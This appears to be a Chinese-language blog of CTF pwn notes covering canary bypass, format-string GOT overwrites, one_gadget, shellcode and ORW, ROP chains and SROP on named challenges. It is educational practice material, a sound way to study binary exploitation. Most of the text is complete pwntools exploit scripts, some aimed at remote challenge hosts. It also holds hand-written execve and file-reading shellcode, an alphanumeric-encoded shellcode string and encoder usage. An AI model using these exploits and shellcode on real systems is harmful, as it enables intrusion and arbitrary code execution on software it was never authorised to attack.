Stack Overflow
保护绕过 RELRO Full Relro(重定位表只读)
Relocation Read Only, 重定位表只读。重定位表即.got 和 .plt 两个表。
无法修改got表
Canary canary = u64(p.recv(7).rjust(8,’\x00’))
CTFShow04 先checksec
栈不可执行 Canary打开
canary: 用于防止栈溢出被利用的一种方法,原理是在栈的ebp下面放一个随机数,在函数返回之前会检查这个数有没有被修改,就可以检测是否发生栈溢出。
main函数:
没有线索,跟进vuln函数
看到v3就是canary了 也就是下面的 [ebp-0ch]
在vuln函数中canary赋值给了eax 我们可以通过在这个赋值之后下一个断点,来获取canary的值 在此之前我们需要知道printf函数的地址,用来找到canary的偏移 所以要先在printf函数下面下一个断点b printf
run
可以看到 printf函数的地址是 0xffffd0b0
然后在canary赋值之后下一个断点 ps:在vuln函数和main函数中都有canary的赋值
这里需要用main函数里面的(我也不知道为什么。。。
b *0x080486C9
这样就找到了canary的值 之后看printf的地址,找到canary的值,然后算出偏移x/40wx 0xffffd0b0
发现0x0x1276e500的偏移为31,所以构造canary的值为%31$x canary的值要靠我们的输入buf来赋值,所以要计算一下buf和v3的偏移 = (0x70-0xC) =100
最后还有 (0x8+4) = 12 个字节需要覆盖,覆盖返回地址到system函数才能取得shell
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *p =remote("111.231.70.44" ,28017 ) p.recv() leak_canary = "%31$x" p.sendline(leak_canary) canary = int (p.recv(),16 ) print (hex (canary))getshell = "a" * 100 + p32(canary) + "b" * 12 + p32(0x0804859B ) p.sendline(getshell) p.interactive()
NepCTF easystack (未解决) 2021.3.25
参考
目前看不太懂。。。
官方WriteUp:
1 2 3 4 5 6 7 8 9 from pwn import *context.log_level = 'debug' p= process("./easystack" ) exp = 0x30 *p64(0x6cde20 ) p.sendline(exp) p.recv() p.interactive()
0x30应该是0x3a。。。。。不然跑不起来,不知道这个数字怎么来的。。。
bjdctf_2020_babyrop2 保护
开了canary
利用格式化字符串漏洞泄露出canary,在rbp-0x8的位置。。。easy
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import *from LibcSearcher import *context.os = 'linux' context.arch = 'amd64' context.log_level = 'debug' p = process('./bjdctf_2020_babyrop2' ) elf = ELF('./bjdctf_2020_babyrop2' ) puts_got = elf.got['puts' ] puts_plt = elf.plt['puts' ] vuln_addr = 0x400887 pop_rdi = 0x0000000000400993 payload = "%7$p" p.sendline(payload) p.recvuntil('0x' ) addr = (int (p.recv(16 ),16 )) print (hex (addr))p.recvuntil('Pull up your sword and tell me u story!' ) payload = 'a' *(0x20 -0x8 ) + p64(addr) + 'a' *8 payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln_addr) p.sendline(payload) puts_addr = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 , '\x00' )) print (hex (puts_addr))ret_addr = 0x00000000004005f9 libc=LibcSearcher('puts' ,puts_addr) offset = puts_addr - libc.dump('puts' ) system_addr = offset + libc.dump('system' ) bin_sh = offset + libc.dump('str_bin_sh' ) getshell = 'a' *(0x20 -0x8 ) + p64(addr) + 'a' *8 + p64(ret_addr) + p64(pop_rdi) + p64(bin_sh) + p64(system_addr) p.sendline(getshell) p.interactive()
wdb2018_guess 保护
IDA
gets 栈溢出漏洞,可以利用canary的报错输出,
执行 _stack_chk_fail 函数来打印 __libc_argv[0] 指针所指向的字符串(默认存储的是程序的名称),覆盖这个指针,就能泄露出想要的内容了。
__stack_chk_fail 的源码 1 2 3 4 5 6 7 8 9 10 11 12 void __attribute__ ((noreturn)) __stack_chk_fail (void ){ __fortify_fail ("stack smashing detected" ); } void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg){ while (1 ) __libc_message (2 , "*** %s ***: %s terminated\n" , msg, __libc_argv[0 ] ?: "<unknown>" ); }
利用思路:
覆盖 __libc_argv[0] 为 puts_got 地址,计算出 libcbase
利用 libcbase 计算出 enviorn 地址(enviorn 是环境变量表,里面包含栈地址),用上面的方法泄露出来,即可得到栈的地址
计算 enviorn 与 flag 的偏移,因为flag是保存在栈上的,再用上面的方法泄露出 flag
泄露 libc_base 计算出 输入点 到 __libc_argv[0] 指针的偏移 0x128
exp。泄露puts_got地址,计算libc_base,泄露 __environ。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 p.recvuntil('Please type your guessing flag' ) payload = 'a' *0x128 + p64(puts_got) p.sendline(payload) p.recvuntil('stack smashing detected ***: ' ) addr = u64(p.recv(6 ).ljust(8 ,b'\x00' )) print 'puts_addr===>' ,hex (addr)libc=LibcSearcher('puts' ,addr) libc_base = addr - libc.dump('puts' ) environ_addr = libc_base + libc.dump('__environ' ) print 'libc_base===>' ,hex (environ_addr)
泄露stack_addr gdb调试,用 x/a _environ 获取当前 environ 地址,search flag 获取在栈上的 flag 的地址
0x168
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import *from LibcSearcher import *context.log_level = 'debug' p = remote("node3.buuoj.cn" ,25259 ) elf = ELF('./GUESS' ) puts_got = elf.got['puts' ] p.recvuntil('Please type your guessing flag\n' ) payload = 'a' *0x128 + p64(puts_got) p.sendline(payload) p.recvuntil('stack smashing detected ***: ' ) addr = u64(p.recv(6 ).ljust(8 ,b'\x00' )) print 'puts_addr===>' ,hex (addr)libc = ELF('./libc.so.6' ) libc_base = addr - libc.sym['puts' ] environ_addr = libc_base + libc.sym['__environ' ] print 'environ_addr===>' ,hex (environ_addr)p.recvuntil('Please type your guessing flag\n' ) payload = 'a' *0x128 + p64(environ_addr) p.sendline(payload) p.recvuntil('stack smashing detected ***: ' ) stack_addr = u64(p.recv(6 ).ljust(8 ,b'\x00' )) print 'stack_addr===>' ,hex (addr)flag_addr = stack_addr - 0x168 p.recvuntil('Please type your guessing flag\n' ) payload = 'a' *0x128 + p64(flag_addr) p.sendline(payload) p.interactive()
BJDCTF_2nd r2t4 格式化字符串 + _stack_chk_fail
所以不能利用简单的栈溢出了
发现printf函数有格式化字符串漏洞可以利用
并且程序给了backdoor,地址是:0x400626
思路是通过这个漏洞,把 stack_chk_fail 的 got表给改掉,改成 backdoor 的地址,这样当程序发现 canary 被修改去调用 stack_chk_fail 的时候就调用了 backdoor
手撸出printf格式化字符串的偏移
确定是第六个
exp 1 2 3 4 5 6 7 8 9 10 from pwn import *context(arch='amd64' ,os='linux' ,word_size='64' ) p = remote("127.0.0.1" ,12345 ) elf = ELF('./r2t4' ) __stack_chk_fail = elf.got['__stack_chk_fail' ] payload = "%64c%9$hn%1510c%10$hnAAA" + p64(__stack_chk_fail+2 ) + p64(__stack_chk_fail) p.sendline(payload) p.interactive()
9=6+3,3是"%64c%9$hn%1510c%10$hnAAA"
占了24个比特,也就是3个字节
1 2 3 %64c%9$hn %64c:0x0040(目标地址高位) %9:更改第九位数字 $hn:两个字节(0000 0000 (八比特)) %1510c%10$hnAAA %1510c:1510+64=0x0626(目标地址低位) %10:更改第十位数字 $hn:两个字节 AAA:补齐成8的倍数
EIP NepCTF 给你一朵小红花 2021.3.25
找字符串看见cat flag的system函数,进去发现反编译是红色的,快捷键P手动让IDA生成一个函数
只要程序返回到这个
也就是返回了序号5对应的字符 这个时候发送send不要line 下面的内容
p64(0) + p64(1) + b"\xE1"
exp 1 2 3 4 5 6 7 8 from pwn import * context.arch = 'amd64' context.log_level='debug' p = remote('node2.hackingfor.fun' ,35402 ) payload = p64(0 ) + p64(1 ) + b"\xE1" p.send(payload)
多跑几次就能出flag
One_gadget [BJDCTF 2nd]one_gadget ida看main函数
再看init函数
会输出一个printf的地址
使用one_gadget,计算一下libc的基址 buuctf给了远程的libc文件,下载下来
1 one_gadget [libcfilename]
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *context.log_level='debug' p=remote('node3.buuoj.cn' ,25812 ) libc=ELF('./libc-2.29.so' ) p.recvuntil('0x' ) printf_addr = int (p.recv(12 ),16 ) libc_base = printf_addr - libc.symbols['printf' ] one_gadget = 0x106ef8 payload = libc_base + one_gadget p.recvuntil('Give me your one gadget:' ) p.sendline(str (payload)) p.interactive()
Shellcode/orw 主要是手写汇编类型
1 execve("/bin/sh",NULL,NULL)
32位程序:
系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
mrctf2020_shellcode IDA
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *from LibcSearcher import *from struct import packimport time, sys, base64context.os = 'linux' context.arch = 'amd64' context.log_level = 'debug' debug = 2 if debug == 1 : p = process('./rop' ) if debug == 2 : p = remote('node3.buuoj.cn' ,29914 ) if debug == 3 : p = remote('127.0.0.1' ,12345 ) payload = asm(shellcraft.sh()) p.recvuntil('Show me your magic!\n' ) p.sendline(payload) p.interactive()
BUUCTF_cmcc_simplerop 保护
IDA
很明显的漏洞点,但是参数v4距离返回地址的偏移并不是0x14+4,用gdb调试一下:
0x20
找不到能利用的got表之类的东西,但能找到int 0x80,所以可以进行 systemcall
1 execve("/bin/sh",NULL,NULL)
32位程序:
系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *from LibcSearcher import *context.os = 'linux' context.log_level = 'debug' p = remote('node3.buuoj.cn' ,26044 ) int_0x80 = 0x080493e1 pop_eax = 0x080bae06 pop_edx_ecx_ebx = 0x0806e850 binsh_addr = 0x80EB584 read_addr = 0x806CD50 payload = 'a' *0x20 + p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0 ) + p32(binsh_addr) + p32(8 ) payload += p32(pop_eax) + p32(0xb ) payload += p32(pop_edx_ecx_ebx) + p32(0 )*2 + p32(binsh_addr) + p32(int_0x80) p.sendline(payload) p.send('/bin/sh' ) p.interactive()
返回地址用 pop_edx_ecx_ebx ,需要把 read 函数中的参数 pop 出来。
HGame letter
程序禁用了一些系统调用,导致无法直接用 shellcode 直接getshell ,即 asm(shellcraft.sh()),所以得手写汇编 shellcode
(当时应该不懂用看沙箱)
负数溢出,但是没搞明白的是为什么是 -268376833 。。。。当事人非常郁闷
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *context.arch = 'amd64' context.log_level='debug' r=remote('182.92.108.71' ,31305 ) r.sendlineafter('?' ,'-268376833' ) shellcode = ''' mov rax, 0x101010101010101 push rax mov rax, 0x101010101010101 ^ 0x67616c66 xor [rsp], rax mov rdi, rsp xor rsi, rsi xor rdx, rdx mov rax, 2 syscall xor rax, rax mov rdi, 3 mov rsi, 0x601070 mov rdx, 0x100 syscall mov rax, 1 mov rdi, 1 mov rsi, 0x601070 mov rdx,0x100 syscall ''' r.sendline('a' *0x18 +p64(0x60108C )+asm(shellcode)) r.interactive()
发现其他师傅有另外的解法
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *context.log_level = 'debug' libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) elf = ELF('./letter' ) context.arch = elf.arch def pr (a,addr ): log.success(a+'====>' +hex (addr)) write_plt = elf.plt['write' ] write_got = elf.got['write' ] read_got = elf.got['read' ] prdi = 0x400AA3 p6 = 0x400A9A mmmc = 0x400A80 vuln = 0x400958 p = remote('182.92.108.71' ,31305 ) p.sendafter('?\n' ,str (0xffffffff ).ljust(0x10 ,'\x00' )) payload = 'a' *0x18 +p64(p6)+p64(0 )+p64(1 )+p64(write_got)+p64(1 )+p64(write_got)+p64(8 ) payload += p64(mmmc)+'a' *16 +p64(0x00601000 +0x500 +0x10 )+'a' *32 +p64(0x4009DD ) p.send(payload) p.recvuntil('.\n' ) write_leak = u64(p.recv(8 )) libcbase = write_leak - libc.sym['write' ] open_addr = libcbase + libc.sym['open' ] pr('libcbase' ,libcbase) payload = 'a' *0x18 +p64(0x00601000 +0x500 +0x10 +0x10 )+asm(shellcraft.open ('flag' )) payload += asm(shellcraft.read(3 ,0x00601000 +0x500 +0x100 ,100 )) payload += asm(shellcraft.write(1 ,0x00601000 +0x500 +0x100 ,100 )) p.sendline(payload) p.interactive()
搞不懂控制 rbp 为 0x00601000+0x500+0x10 是为什么。。。。
pwnable_orw 保护
IDA
一道写shellcode 的题目,题目意思也很明显是用orw,在pwnable中flag文件是在/home/orw/flag中,但是在buu中直接在当前目录下就有flag文件。
写一个c程序再gcc -s 直接看汇编照着写就差不多了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include <stdio.h> int main () { char buf[100 ]; int fd; fd = open('flag',0,0); read(fd,buf,100 ); write(1 ,buf,100 ); close(fd); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 .text:0000000000400666 ; __unwind { .text:0000000000400666 push rbp .text:0000000000400667 mov rbp, rsp .text:000000000040066A add rsp, 0FFFFFFFFFFFFFF80h .text:000000000040066E mov rax, fs:28h .text:0000000000400677 mov [rbp+var_8], rax .text:000000000040067B xor eax, eax .text:000000000040067D mov edx, 0 .text:0000000000400682 mov esi, 0 ; oflag .text:0000000000400687 mov edi, 666C6167h ; file .text:000000000040068C mov eax, 0 .text:0000000000400691 call _open .text:0000000000400696 mov [rbp+fd], eax .text:0000000000400699 lea rcx, [rbp+buf] .text:000000000040069D mov eax, [rbp+fd] .text:00000000004006A0 mov edx, 64h ; nbytes .text:00000000004006A5 mov rsi, rcx ; buf .text:00000000004006A8 mov edi, eax ; fd .text:00000000004006AA mov eax, 0 .text:00000000004006AF call _read .text:00000000004006B4 lea rax, [rbp+buf] .text:00000000004006B8 mov edx, 64h ; n .text:00000000004006BD mov rsi, rax ; buf .text:00000000004006C0 mov edi, 1 ; fd .text:00000000004006C5 mov eax, 0 .text:00000000004006CA call _write .text:00000000004006CF mov eax, [rbp+fd] .text:00000000004006D2 mov edi, eax ; fd .text:00000000004006D4 mov eax, 0 .text:00000000004006D9 call _close .text:00000000004006DE mov eax, 0 .text:00000000004006E3 mov rcx, [rbp+var_8] .text:00000000004006E7 xor rcx, fs:28h .text:00000000004006F0 jz short locret_4006F7 .text:00000000004006F2 call ___stack_chk_fail
open -> read -> write
open
ecx = flags 置零即可
edx = mode 置零即可
ebx = filename 文件名
eax = 0x05 系统调用号
read
ebx = fd 文件指针,就是open的返回值,不需要改变
ecx = buf 缓冲区,指向栈顶位置
edx = count 字节数
eax = 0x03 系统调用号
write
ebx = fd 文件指针,置为1,打印到屏幕
ecx = buf 缓冲区,指向栈顶
edx = count
eax = 0x04 系统调用号
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *from LibcSearcher import *context.log_level = 'debug' p = remote("node3.buuoj.cn" ,25204 ) bss = 0x804A060 shellcode = ''' xor ecx,ecx; xor edx,edx; push ecx; push 0x67616c66; mov ebx,esp; mov eax,0x5; int 0x80; mov ebx,eax; mov ecx,esp; mov edx,0x30; mov eax,0x3; int 0x80; mov ebx,0x1; mov edx,0x30; mov eax,0x4; int 0x80; ''' p.send(asm(shellcode)) print ((p.recv()))p.interactive()
ciscn_2019_s_9 pwn函数
hint函数
解题思路
栈溢出 0x8 个字节
没有nx
保护,可以想到往栈中写入shellcode
,
hint函数提供了跳转到栈上的指令 jmp esp
shellcode 如果使用
1 shellcode = asm(shellcraft.sh())
长度会过长,参数s长度只有0x20(32),如果写入这个shellcode就无法覆盖返回地址,但可以自己写一个shell
1 2 3 4 5 6 7 8 9 10 shellcode = ''' xor ecx,ecx xor edx,edx push edx push 0x68732f2f push 0x6e69622f mov ebx,esp mov eax,0xb int 0x80 '''
shellcode写入栈了,将返回地址写成jmp esp
,重新跳到栈上,手动写入sub esp,40;call esp
开栈执行,即可获取shell
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import *from LibcSearcher import *import time, sys, base64context.os = 'linux' context.arch = 'i386' context.log_level = 'debug' debug = 1 if debug == 1 : p = process('./ciscn_s_9' ) if debug == 2 : p = remote('node4.buuoj.cn' ,26772 ) if debug == 3 : p = remote('127.0.0.1' ,12345 ) jmp_esp = 0x08048554 shellcode = ''' xor ecx,ecx xor edx,edx push edx push 0x68732f2f push 0x6e69622f mov ebx,esp mov eax,0xb int 0x80 ''' p.recvuntil('tell?\n' ) payload = asm(shellcode).ljust(0x24 ,'\x00' ) + p32(jmp_esp) + asm("sub esp,40;call esp" ) p.recvuntil('>\n' ) p.sendline(payload) p.interactive()
mrctf2020_shellcode_revenge 可见字符shellcode exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *from LibcSearcher import *import time, sys, base64context.os = 'linux' context.arch = 'amd64' context.log_level = 'debug' debug = 1 filename = 'mrctf2020_shellcode_revenge' if debug == 1 : p = process(filename) shellcode = 'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t' p.recvuntil('Show me your magic!\n' ) p.send(shellcode)
1 Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
[极客大挑战 2019]Not Bad 需要手写汇编控制程序流 保护
重点关注的是NX栈可执行,一般来说把这个保护关了就大概率是漏洞利用的关键点
Main 函数
程序用mmap在地址0x1M23000上申请了0x1000大小的空间
权限可写可执行
漏洞函数
溢出0x10字节
jmp rsp
利用jmp rsp
,我们可以在栈上执行指令
沙箱保护
利用思路
buf 的长度不够我们把orw汇编代码写入栈中去执行,但可以写入到mmap申请的空间中
在栈中写入一个read函数,向mmap空间中写入orw汇编代码,并让程序到mmap空间中执行
利用jmp rsp
,执行栈中的代码
漏洞利用 payload解析 1 2 3 4 payload = asm(shellcraft.read(0 ,mmap,0x100 )) + asm('mov rax,0x123000; jmp rax' ) payload = payload.ljust(0x28 ,'a' ) payload += p64(jmp_rsp) + asm('sub rsp,0x30; jmp rsp' ) p.sendlineafter('have fun!' ,payload)
jmp_rsp
sub rsp,0x30; jmp rsp
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *from LibcSearcher import *import time, sys, base64context.os = 'linux' context.arch = 'amd64' context.log_level = 'debug' debug = 2 filename = 'bad' if debug == 1 : p = process(filename) if debug == 2 : p = remote('node4.buuoj.cn' ,29326 ) if debug == 3 : p = remote('127.0.0.1' ,12345 ) pop_rdi = 0x0000000000400963 jmp_rsp = 0x000000000400A01 mmap = 0x123000 payload = asm(shellcraft.read(0 ,mmap,0x100 )) + asm('mov rax,0x123000; jmp rax' ) payload = payload.ljust(0x28 ,'a' ) payload += p64(jmp_rsp) + asm('sub rsp,0x30; jmp rsp' ) p.sendlineafter('have fun!' ,payload) payload = shellcraft.open ('./flag' ) payload += shellcraft.read(3 ,mmap+0x100 ,0x100 ) payload += shellcraft.write(1 ,mmap+0x100 ,0x100 ) p.sendline(asm(payload)) p.interactive()
可见字符shellcode 下载alpha3 1 git clone https://github.com/TaQini/alpha3.git
用法 在alpha3目录下
1 2 3 4 from pwn import *context.arch='amd64' sc = shellcraft.sh() print asm(sc)
生成shellcode文件 执行如下命令生成待编码的shellcode文件
1 python3 sc.py > shellcode
默认生成的是x64的sys_execve(“/bin/sh”,0,0),可以修改成其他的arch或shellcode
x64 alpha编码 1 2 3 4 5 python ./ALPHA3.py x64 ascii mixedcase rax --input="shellcode" or ./shellcode_x64.sh rax
其中输入文件为shellcode,rax是用于编码的寄存器(shellcode基址)
1 2 3 trick@ubuntu ~/alpha3 master ± ./shellcode_x64.sh rax trick@ubuntu ~/alpha3 master ± python ./ALPHA3.py x64 ascii mixedcase rax --input="shellcode" Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2O2u2E0Z7m0n7m0R0b2x2o0Y102x0B7O2A1P2J0n102j0V0l2A0T170Z2j0Y7N0O1O137M0I1P132v0H0V10142v060H0f11000J0q11180I1711160J0Z110h0k060V0y0g2E0m0K170u0n110m2H11120n2n0U1N0f7N0m0H192m0n2n0U10112t0H12131k2k0h0l02102w0m0I112m2w0C01%
(自己生成的好像有点问题,用不了。。。/(ㄒoㄒ)/~~
x86 alpha编码 alpha3中x64的shellcode只要上述mixedcase一种情况,x86的选项比较多:
x86 ascii uppercase (数字+大写字母)
x86 ascii lowercase (数字+小写字母)
x86 ascii mixedcase (数字+大小写字母)
ROPchain inndy_rop IDA
先去Options - Stack pointer 勾选上,然后在上图黄色处右键 change stack pointer
函数很简单
1 ROPgadget --binary rop --ropchain
手动加上偏移,导入from struct import pack
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from pwn import *from LibcSearcher import *from struct import packimport time, sys, base64context.os = 'linux' context.arch = 'amd64' context.log_level = 'debug' debug = 2 if debug == 1 : pa = process('./rop' ) if debug == 2 : pa = remote('node3.buuoj.cn' ,29696 ) if debug == 3 : pa = remote('127.0.0.1' ,12345 ) p = 'a' *(0xc +4 ) p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea060 ) p += pack('<I' , 0x080b8016 ) p += '/bin' p += pack('<I' , 0x0805466b ) p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea064 ) p += pack('<I' , 0x080b8016 ) p += '//sh' p += pack('<I' , 0x0805466b ) p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x080492d3 ) p += pack('<I' , 0x0805466b ) p += pack('<I' , 0x080481c9 ) p += pack('<I' , 0x080ea060 ) p += pack('<I' , 0x080de769 ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x080492d3 ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0806c943 ) pa.sendline(p) pa.interactive()
SROP _ciscn_2019_s_3 main里只有一个vuln函数 直接进去看
看汇编分析:
需要在栈上构造/bin/sh,并且需要rax=59让64位的syscall执行execve才能getshell
64 位:系统调用号放入 rax,参数依次放到 rdi、rsi、rdx,返回值放在 rax
64位程序前六个寄存器调用顺序:rdi rsi rdx rcx r8 r9
寄存器大概布局: rax = 59 rdi = /bin/sh rsi = 0 rdx = 0
注意到vuln函数末尾并没有使用leave指令,即直接把之前push的rbp当作return address 我们要ROP的话offset只需要0x10
先构造/bin/sh在栈中
exp:
1 2 3 4 5 6 7 8 9 10 from pwn import *p = process('./ciscn_s_3' ) elf = ELF('./ciscn_s_3' ) context.log_level = 'debug' vuln_addr = 0x0004004ED payload = '/bin/sh\x00' + 'A' *0x8 + p64(main_addr) p.sendline(payload) p.recv(0x20 ) stack_addr = u64(p.recv(8 )) print (hex (stack_addr))
发现/bin/sh已经在栈中了,在打印到0x20的时候,接下来是打印出来一个地址,这也是为什么需要recv的原因,这个地址是栈上面的,所以只要算出这个地址和/bin/sh地址的相对偏移,就可以在程序每次执行的时候算出binsh的地址了,因为地址会变,但是偏移不会
我们输出了地址stack_addr
计算偏移量 0x7ffdc7824d78 - 0x007FFDC7824C60 = 0x118
所以计算binsh_addr = stack_addr - 0x118
构造完/bin/sh之后,在程序中有给我们一个gadgets函数:
只要我们跳到地址0x4004E2就能把3Bh(59)赋值给rax,这样系统调用号的参数也搞定了
接下来可以利用csu把 rsi = 0,rdx = 0 ,最后用pop rdi ; ret存上/bin/sh就万事大吉了
需要注意的是call这个地方call的是r12地址上的内容,我们这里要call的是mov rax,3Bh ,而mov rax,3Bh可以存在/bin/sh\x00aaaaaaaa(一共长0x10)后面,所以r12 = binsh_addr + 0x10
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *p=remote('node3.buuoj.cn' ,27933 ) elf = ELF('./ciscn_s_3' ) context.log_level = 'debug' main_addr = elf.symbols['main' ] vuln_addr = 0x0004004ED payload = '/bin/sh\x00' + 'A' *0x8 + p64(vuln_addr) p.sendline(payload) p.recv(0x20 ) stack_addr = u64(p.recv(8 )) print (hex (stack_addr))binsh_addr = stack_addr - 0x118 pop_rbx_rbp_r12_r13_14_r15 = 0x40059A mov_rdx_r13 = 0x400580 mov_rax_59 = 0x4004E2 pop_rdi = 0x4005a3 syscall_addr = 0x400501 payload = '/bin/sh\x00' + 'A' *0x8 + p64(mov_rax_59) payload += p64(pop_rbx_rbp_r12_r13_14_r15) payload += p64(0 ) + p64(1 ) + p64(binsh_addr+0x10 ) + p64(0 )*3 payload += p64(mov_rdx_r13) + 'a' *(6 *8 +8 ) payload += p64(pop_rdi) + p64(binsh_addr) + p64(syscall_addr) p.sendline(payload) p.interactive()
参考链接
SROP exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *p = process('./ciscn_s_3' ) context.binary=('./ciscn_s_3' ) context.terminal = ['gnome-terminal' ,'-x' ,'sh' ,'-c' ] main=0x0004004ED sigret=0x4004DA sys=0x400517 pl1='/bin/sh\x00' *2 +p64(main) p.send(pl1) p.recv(0x20 ) sh=u64(p.recv(8 ))-0x118 print (hex (sh))frame = SigreturnFrame() frame.rax = constants.SYS_execve frame.rdi = sh frame.rsi = 0 frame.rdx = 0 frame.rip= sys pl1='a' *16 +p64(sigret)+p64(sys)+str (frame) pl2='/bin/sh\x00' *2 +p64(sigret)+p64(sys)+str (frame) p.send(pl2) p.interactive()
参考链接
ciscn_2019_es_7 ida
看到系统调用、mov rax,15 和溢出,想到SROP
解题思路
就是在内核返回到用户时(sigreturn),会把原来的context(保存在栈里的Signal Frame)给复原,而Signal Frame在用户栈里,那么用户就是拥有读写权限的,里面存有rip等寄存器,所以我们刻意触发sigreturn,然后伪造Signal Frame,进而控制程序。
Signal Frame
在这个伪造的Signal Frame
中,将rax
设置成59
(即execve
系统调用号),将rdi
设置成字符串/bin/sh
的地址(该字符串可以是攻击者写在栈上的),将rip
设置成系统调用指令syscall
的内存地址,最后,将rt_sigreturn
手动设置成sigreturn
系统调用的内存地址(系统调用号为 15
的 syscall
)。那么,当这个伪造的sigreturn
系统调用返回之后,相应的寄存器就被设置成了攻击者可以控制的值,在这个例子中,一旦sigreturn
返回,就会去执行execve
系统调用,打开一个shell
解题条件
字符串 /bin/sh
的地址
syscall
的地址
sigretn
的地址
找到 /bin/sh 的地址 程序输入0x10个字节,输出0x30个字节
在多余的输出内容当中可以看见一个内存的地址,利用它可以计算与我们输入的字符串/bin/sh
之间的偏移
偏移0x118
找到 syscall 的地址
找到 sigretn 的地址
execve的系统调用号也有
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import *from LibcSearcher import *import time, sys, base64context.os = 'linux' context.arch = 'amd64' context.log_level = 'debug' debug = 1 if debug == 1 : p = process('./ciscn_2019_es_7' ) if debug == 2 : p = remote('node4.buuoj.cn' ,26148 ) if debug == 3 : p = remote('127.0.0.1' ,12345 ) elf = ELF('./ciscn_2019_es_7' ) vuln_addr = 0x4004ED syscall_ret = 0x400517 sigreturn_addr = 0x4004da payload = '/bin/sh\x00' + p64(0 ) + p64(vuln_addr) p.sendline(payload) p.recv(0x20 ) stack_addr = u64(p.recv(6 ).ljust(8 ,'\x00' )) print (hex (stack_addr))sigframe = SigreturnFrame() sigframe.rax = constants.SYS_execve sigframe.rdi = stack_addr - 0x118 sigframe.rsi = 0x0 sigframe.rdx = 0x0 sigframe.rsp = stack_addr sigframe.rip = syscall_ret payload = '/bin/sh\x00' + p64(0 ) + p64(sigreturn_addr) + p64(syscall_ret) + str (sigframe) p.sendline(payload) gdb.attach(p) p.interactive()
Call rax 栈逆向
[ZJCTF 2019]Login 保护
IDA
给了admin和密码
运行一下
看一下 password_checker 的汇编,发现call rax,很异或,逆向一下
回到main函数汇编
在 read_password 里找到var_18
0x60 - 0x18 = 0x48 0x48 - 14 = 58
